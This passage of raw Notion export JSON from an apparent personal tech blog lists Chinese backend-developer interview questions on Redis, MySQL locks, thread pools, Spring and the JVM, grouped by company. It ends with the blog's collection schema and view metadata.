arent_table":"block","alive":true,"ignore_block_count":true}},"71406e43-a111-434c-896d-f64a1e5f74f6":{"value":{"id":"71406e43-a111-434c-896d-f64a1e5f74f6","type":"bulleted_list","properties":{"title":[["如何实现顺序打印ab"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6627926e-cb5a-42ce-90a6-d9cc98cd4462":{"value":{"id":"6627926e-cb5a-42ce-90a6-d9cc98cd4462","type":"bulleted_list","properties":{"title":[["假设有一百亿的数据,如何找出最小的10个"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c6809c56-fdf7-4e61-b964-d8c4b16ba316":{"value":{"id":"c6809c56-fdf7-4e61-b964-d8c4b16ba316","type":"header","properties":{"title":[["51.阿里"]]},"created_time":1712329333050,"last_edited_time":1712456719475,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"15a9bd37-07d0-4ebb-b793-6923db57edbf":{"value":{"id":"15a9bd37-07d0-4ebb-b793-6923db57edbf","type":"bulleted_list","properties":{"title":[["你说项目里用到了队列解决循环依赖,如果服务挂了,那岂不是恢复后数据丢失了吗?有什么好的方法吗,给了方案持久化到mysql,过程中说到了redis,问到了redis的一致性数据问题如何解决?假如redis突然挂了,如何保证数据的一致性"]]},"created_time":1712329333050,"last_edited_time":1712329333050,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9709534f-f3c5-4c7a-a839-e555a074e255":{"value":{"id":"9709534f-f3c5-4c7a-a839-e555a074e255","type":"bulleted_list","properties":{"title":[["mysql的乐观锁和悲观锁,项目中如何使用的"]]},"created_time":1712329333050,"last_edited_time":1712329333050,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7a178367-cf57-4932-b620-060a22f3dd00":{"value":{"id":"7a178367-cf57-4932-b620-060a22f3dd00","type":"bulleted_list","properties":{"title":[["生产上线程池如何使用的"]]},"created_time":1712329333050,"last_edited_time":1712329333050,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e9c94d2e-097d-4824-bf6a-91a06f1c8fa9":{"value":{"id":"e9c94d2e-097d-4824-bf6a-91a06f1c8fa9","type":"bulleted_list","properties":{"title":[["假设核心线程数10,最大线程数20,阻塞队列100,此时来了120个请求,问此时应用中有多少线程在跑"]]},"created_time":1712329333051,"last_edited_time":1712329333051,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ac29abfc-1e04-456d-b914-9c4b42137017":{"value":{"id":"ac29abfc-1e04-456d-b914-9c4b42137017","type":"bulleted_list","properties":{"title":[["redis除了做缓存,还可以做什么?\n延迟队列,那你们项目中如何用到的延迟队列 。 主要达了\nzset数据结构属性,轮训,接着继续问,假如redis挂了 一个消息\n9点发送,8点半挂了,故障恢复9点半启动redis,如何进行消息补偿"]]},"created_time":1712329333051,"last_edited_time":1712329333051,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bb36d625-5672-40fe-b631-974947c1f826":{"value":{"id":"bb36d625-5672-40fe-b631-974947c1f826","type":"bulleted_list","properties":{"title":[["mockk框架不同请求针对不同的循环依赖数据,如何判别,保证幂等。"]]},"created_time":1712329333051,"last_edited_time":1712329333051,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"92c45e24-7ed0-4635-a6cd-a3dbb148f71b":{"value":{"id":"92c45e24-7ed0-4635-a6cd-a3dbb148f71b","type":"header","properties":{"title":[["52.五年VIVO"]]},"created_time":1712329333051,"last_edited_time":1712456740930,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"91b3d950-f4bb-4039-bc76-b157949d13b8":{"value":{"id":"91b3d950-f4bb-4039-bc76-b157949d13b8","type":"bulleted_list","properties":{"title":[["CAS的问题及其解决办法"]]},"created_time":1712329333051,"last_edited_time":1712329333051,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a5d0b74b-95e5-4a4b-abfd-a2bfb57f2e76":{"value":{"id":"a5d0b74b-95e5-4a4b-abfd-a2bfb57f2e76","type":"bulleted_list","properties":{"title":[["公平非公平锁的实现"]]},"created_time":1712329333052,"last_edited_time":1712329333052,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c8c0eca3-6512-4d23-983a-e7f3fe341898":{"value":{"id":"c8c0eca3-6512-4d23-983a-e7f3fe341898","type":"bulleted_list","properties":{"title":[["MySQL和Redis里面CAS用在什么地方?"]]},"created_time":1712329333052,"last_edited_time":1712329333052,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3c0edab5-6cb4-4b33-919c-b6a561bded5c":{"value":{"id":"3c0edab5-6cb4-4b33-919c-b6a561bded5c","type":"bulleted_list","properties":{"title":[["说一下MySQL的锁(MDL,Gap,index ).."]]},"created_time":1712329333052,"last_edited_time":1712329333052,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ff94fe89-06a4-41e6-9c48-0f14d9992aa0":{"value":{"id":"ff94fe89-06a4-41e6-9c48-0f14d9992aa0","type":"bulleted_list","properties":{"title":[["线上集群部分几台频繁GC,怎么处理"]]},"created_time":1712329333052,"last_edited_time":1712329333052,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eea79b76-4434-4686-8aff-af1d5ad5c6be":{"value":{"id":"eea79b76-4434-4686-8aff-af1d5ad5c6be","type":"bulleted_list","properties":{"title":[["讲一下上面你提到的DDD过程(战略、战术设计)"]]},"created_time":1712329333053,"last_edited_time":1712329333053,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ea636e80-286a-4d9f-bc22-bfd761d24bd4":{"value":{"id":"ea636e80-286a-4d9f-bc22-bfd761d24bd4","type":"header","properties":{"title":[["53.金蝶"]]},"created_time":1712329333054,"last_edited_time":1712456757836,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bc7ca4db-da46-41ad-855c-7f5c57b5a674":{"value":{"id":"bc7ca4db-da46-41ad-855c-7f5c57b5a674","type":"bulleted_list","properties":{"title":[["springmvc工作流程"]]},"created_time":1712329333054,"last_edited_time":1712329333054,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8655fdd1-1dec-44fd-9fce-61372ca374e9":{"value":{"id":"8655fdd1-1dec-44fd-9fce-61372ca374e9","type":"bulleted_list","properties":{"title":[["spring ioc,aop"]]},"created_time":1712329333054,"last_edited_time":1712329333054,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"77b0b116-2c35-4766-8640-f17cae63d37a":{"value":{"id":"77b0b116-2c35-4766-8640-f17cae63d37a","type":"bulleted_list","properties":{"title":[["JDK反射机制提供的代理和CGLIB代理区别"]]},"created_time":1712329333054,"last_edited_time":1712329333054,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"706a2f42-bce5-4c75-bfe6-13df4fb286f9":{"value":{"id":"706a2f42-bce5-4c75-bfe6-13df4fb286f9","type":"bulleted_list","properties":{"title":[["数据库优化"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b97c9163-889d-4176-b82f-29bd1f94f5f7":{"value":{"id":"b97c9163-889d-4176-b82f-29bd1f94f5f7","type":"bulleted_list","properties":{"title":[["索引失效几种情况"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c20eb80a-a027-46c5-a063-4e06feb4eb45":{"value":{"id":"c20eb80a-a027-46c5-a063-4e06feb4eb45","type":"bulleted_list","properties":{"title":[["事务失效几种场景"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"313345d7-e14a-4c76-a41f-c2ee598a0829":{"value":{"id":"313345d7-e14a-4c76-a41f-c2ee598a0829","type":"bulleted_list","properties":{"title":[["springboot自动配置的原理"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"20ae6aa7-eb9f-42ca-85d9-07bd472fdfb6":{"value":{"id":"20ae6aa7-eb9f-42ca-85d9-07bd472fdfb6","type":"bulleted_list","properties":{"title":[["自定义注解实现原理"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f2c39fd4-b12a-4178-8bbd-babfaf928c0c":{"value":{"id":"f2c39fd4-b12a-4178-8bbd-babfaf928c0c","type":"bulleted_list","properties":{"title":[["线程池参数和使用,拒绝策略有几种"]]},"created_time":1712329333055,"last_edited_time":1712329333055,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3bdcf74-3160-46e7-b3b9-f7096eab969d":{"value":{"id":"c3bdcf74-3160-46e7-b3b9-f7096eab969d","type":"bulleted_list","properties":{"title":[["jvm"]]},"created_time":1712329333056,"last_edited_time":1712329333056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0ab07e4-d250-4773-9822-a8cc18aa5887":{"value":{"id":"e0ab07e4-d250-4773-9822-a8cc18aa5887","type":"bulleted_list","properties":{"title":[["类加载"]]},"created_time":1712329333056,"last_edited_time":1712329333056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"967d88de-1623-451b-bc43-18c49103b93d":{"value":{"id":"967d88de-1623-451b-bc43-18c49103b93d","type":"bulleted_list","properties":{"title":[["redis"]]},"created_time":1712329333056,"last_edited_time":1712329333056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"028f9d23-dba2-4094-8718-fe0dd9dda630":{"value":{"id":"028f9d23-dba2-4094-8718-fe0dd9dda630","type":"bulleted_list","properties":{"title":[["springcloud常用组件"]]},"created_time":1712329333056,"last_edited_time":1712329333056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"75c2abdb-e848-4e75-8234-4a109c7350bc":{"value":{"id":"75c2abdb-e848-4e75-8234-4a109c7350bc","type":"bulleted_list","properties":{"title":[["消息中间件"]]},"created_time":1712329333056,"last_edited_time":1712329333056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cac1d0d7-d76d-41e2-8b98-2a3a1a7f69b5":{"value":{"id":"cac1d0d7-d76d-41e2-8b98-2a3a1a7f69b5","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"0ae509af-0f7a-42c6-8d66-f7417927ca71","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656113,"last_edited_time":1712329656127,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"0ae509af-0f7a-42c6-8d66-f7417927ca71"}},"f4711880-093f-4bf4-9cf3-b044745ef5d0":{"value":{"id":"f4711880-093f-4bf4-9cf3-b044745ef5d0","type":"column_list","content":["537d9f9d-9d1c-4a1a-8a52-aeab6314ff80","1ed5af31-ad8d-4d11-914f-d1e00dd34943","056ffc51-5a72-403b-a9ab-6e225f24eebf"],"format":{"copied_from_pointer":{"id":"e5f7e858-b86d-4aba-875c-76a63ab86f2d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656113,"last_edited_time":1712329656127,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"e5f7e858-b86d-4aba-875c-76a63ab86f2d"}},"537d9f9d-9d1c-4a1a-8a52-aeab6314ff80":{"value":{"id":"537d9f9d-9d1c-4a1a-8a52-aeab6314ff80","type":"column","content":["94a71509-61c8-4eb7-b9cf-d27312bb85d4"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"b5199d7b-c78d-468b-8184-1ffa3121d43e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656113,"last_edited_time":1712329656127,"parent_id":"f4711880-093f-4bf4-9cf3-b044745ef5d0","parent_table":"block","alive":true,"copied_from":"b5199d7b-c78d-468b-8184-1ffa3121d43e"}},"1ed5af31-ad8d-4d11-914f-d1e00dd34943":{"value":{"id":"1ed5af31-ad8d-4d11-914f-d1e00dd34943","type":"column","content":["028a202c-7cfb-4778-97c7-6c6892e31e18","939b2a1d-8884-4c0e-9be9-b6fd63695966"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"b08d8512-adee-438d-bf93-e829da2b84da","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656113,"last_edited_time":1712329656127,"parent_id":"f4711880-093f-4bf4-9cf3-b044745ef5d0","parent_table":"block","alive":true,"copied_from":"b08d8512-adee-438d-bf93-e829da2b84da"}},"056ffc51-5a72-403b-a9ab-6e225f24eebf":{"value":{"id":"056ffc51-5a72-403b-a9ab-6e225f24eebf","type":"column","content":["204b3eb4-40f8-45f7-b199-464493c6d1e9"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"d5195470-d8d9-41bc-8ae6-4fe6ed34f17d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656114,"last_edited_time":1712329656127,"parent_id":"f4711880-093f-4bf4-9cf3-b044745ef5d0","parent_table":"block","alive":true,"copied_from":"d5195470-d8d9-41bc-8ae6-4fe6ed34f17d"}},"94a71509-61c8-4eb7-b9cf-d27312bb85d4":{"value":{"id":"94a71509-61c8-4eb7-b9cf-d27312bb85d4","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"8aac07aa-2380-479b-a102-949bea52fa92","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712329656114,"last_edited_time":1712329656127,"parent_id":"537d9f9d-9d1c-4a1a-8a52-aeab6314ff80","parent_table":"block","alive":true,"copied_from":"8aac07aa-2380-479b-a102-949bea52fa92","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"028a202c-7cfb-4778-97c7-6c6892e31e18":{"value":{"id":"028a202c-7cfb-4778-97c7-6c6892e31e18","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"9a4745f3-f187-4d79-9779-3f03e5624af9","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656114,"last_edited_time":1712329656127,"parent_id":"1ed5af31-ad8d-4d11-914f-d1e00dd34943","parent_table":"block","alive":true,"copied_from":"9a4745f3-f187-4d79-9779-3f03e5624af9"}},"939b2a1d-8884-4c0e-9be9-b6fd63695966":{"value":{"id":"939b2a1d-8884-4c0e-9be9-b6fd63695966","type":"text","format":{"copied_from_pointer":{"id":"5292fec2-e9fe-490c-a434-950f4e6dfb5a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329656114,"last_edited_time":1712329656127,"parent_id":"1ed5af31-ad8d-4d11-914f-d1e00dd34943","parent_table":"block","alive":true,"copied_from":"5292fec2-e9fe-490c-a434-950f4e6dfb5a"}},"204b3eb4-40f8-45f7-b199-464493c6d1e9":{"value":{"id":"204b3eb4-40f8-45f7-b199-464493c6d1e9","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"6b314ec2-4cdc-4a48-bbd2-b178155da2ce","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712329656114,"last_edited_time":1712329656127,"parent_id":"056ffc51-5a72-403b-a9ab-6e225f24eebf","parent_table":"block","alive":true,"copied_from":"6b314ec2-4cdc-4a48-bbd2-b178155da2ce","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c